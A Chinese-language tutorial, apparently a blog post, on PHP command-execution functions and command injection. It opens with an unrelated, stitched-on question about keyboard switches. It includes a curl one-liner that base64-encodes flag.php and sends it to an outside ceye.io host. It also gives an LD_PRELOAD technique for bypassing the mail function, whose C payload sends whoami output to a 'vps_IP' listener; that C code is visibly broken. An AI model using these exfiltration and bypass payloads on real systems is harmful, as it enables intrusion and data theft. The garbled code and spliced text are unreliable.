8种机械键盘轴体对比
本人程序员,要买一个写代码的键盘,请问红轴和茶轴怎么选?
简介
命令注入(也称为shell注入)是一种web安全漏洞,它允许攻击者在运行应用程序的服务器上执行任意操作系统(OS)命令,通常会完全破坏应用程序及其所有数据。通常,攻击者可以利用OS命令注入漏洞来破坏宿主基础设施的其他部分,利用信任关系将攻击转移到组织内的其他系统。
在Web应用中,有时候会用到一些命令执行的函数,如php中system、exec、shell_exec等,当对用户输入的命令没有进行限制或者过滤不严导致用户可以执行任意命令时,就会造成命令执行漏洞。
常见命令执行函数system()
passthru()
exec()
pcntl_exec()
shell_exec()
popen()
proc_open()
`反引号
ob_start()
mail函数+LD_PRELOAD执行系统命令
system()
函数定义:string system ( string $command [, int &$return_var ] )
command是要执行的命令。return_var,如果提供 return_var 参数, 则外部命令执行后的返回状态将会被设置到此变量中。<?php
system("whoami");
?>
会看到运行了shell命令,并打印回显到页面上。
passthru()
函数定义:void passthru ( string $command [, int &$return_var ] )
command是要执行的命令。return_var,如果提供 return_var 参数, Unix 命令的返回状态会被记录到此参数。<?php
passthru("whoami");
?>
exec()
函数定义:string exec ( string $command [, array &$output [, int &$return_var ]] )
exec() 执行 command 参数所指定的命令。<?php
echo exec("whoami");
?>
该函数不能直接回显,需要手动输出。。。
可以利用ceye:data=$(cat flag.php | base64);curl http://36rdia.ceye.io/?data=$data;
pcntl_exec()
函数定义:
pcntl_exec — 在当前进程空间执行指定程序void pcntl_exec ( string $path [, array $args [, array $envs ]] )path必须时可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本
args是一个要传递给程序的参数的字符串数组。
envs是一个要传递给程序作为环境变量的字符串数组。这个数组是 key => value格式的,key代表要传递的环境变量的名称,value代表该环境变量值。➜ html php -r "pcntl_exec( '/bin/ls' , array('./'));"
输出的结果:
1.txt 2.txt web
让我们来看看/bin下又什么文件:
发现我们可以通过这个函数来执行cat,echo,chmod, rm , touch等命令
例如:➜ html php -r "pcntl_exec( '/bin/echo' , array('`ls`'));"
1.txt
2.txt
web
shell_exec()
函数定义:string shell_exec ( string $cmd )
cmd是要执行的命令。➜ html php -r "echo shell_exec('whoami');"
root
➜ html
popen()
函数定义:resource popen ( string $command , string $mode )
打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。 后面的mode,当为 ‘r’,返回的文件指针等于命令的 STDOUT,当为 ‘w’,返回的文件指针等于命令的 STDIN。➜ html php -r "popen('/bin/echo "123" >> 1.txt','w');"
➜ html cat 1.txt
123
能够执行的命令
proc_open()
函数定义:resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )
cmd是要执行的命令,其余见文档
`反引号
在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出,使用反引号运算符“`”的效果与函数 shell_exec() 相同。➜ html php -r "echo @`whoami`;"
root#
ob_start()
官方文档
ob_start($a)参数a是一个回调函数名,当缓存刷新时,把缓冲区的内容作为一个参数传给回调函数处理,回调函数内不能再调用ob_start().
测试:<?php
$foobar = 'system';
ob_start($foobar);
echo 'whoami';
ob_end_flush();
?>
可以成功执行whoami的命令。但是php7测试未成功
这里注意,如果我这样使用
echo ‘whoami’;
whoami
是没有任何作用的
因为这里的$foobar被作为输出的回调函数
而我们输入的whoami在缓冲区
经过ob_end_flush()输出缓冲区后,可以得到
system('whoami')
这样的操作,所以成功执行了命令
mail函数+LD_PRELOAD执行系统命令
思路:
LD_PRELOAD可以用来设置程序运行前优先加载的动态链接库,php函数mail在实现的过程中会调用标准库函数,通过上传一个编译好的动态链接程序(这个程序中重新定义了一个mail函数会调用的库函数,并且重新定义的库函数中包含执行系统命令的代码。),再通过LD_PRELOAD来设置优先加载我们的上传的动态链接程序,从而实现命令执行。
a.c#include
#include
#include
int main(){
void payload() {
system("curl http://vps_IP:4123/?a=`whoami`");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
}
编译gcc -c -fPIC a.c -o a
gcc -shared a -o a.so
mail.php<?php
putenv("LD_PRELOAD=/var/www/html/a.so");
mail("[email protected]","","","","");
?>
监听vps的4123端口,访问mail.php。
# web常见漏洞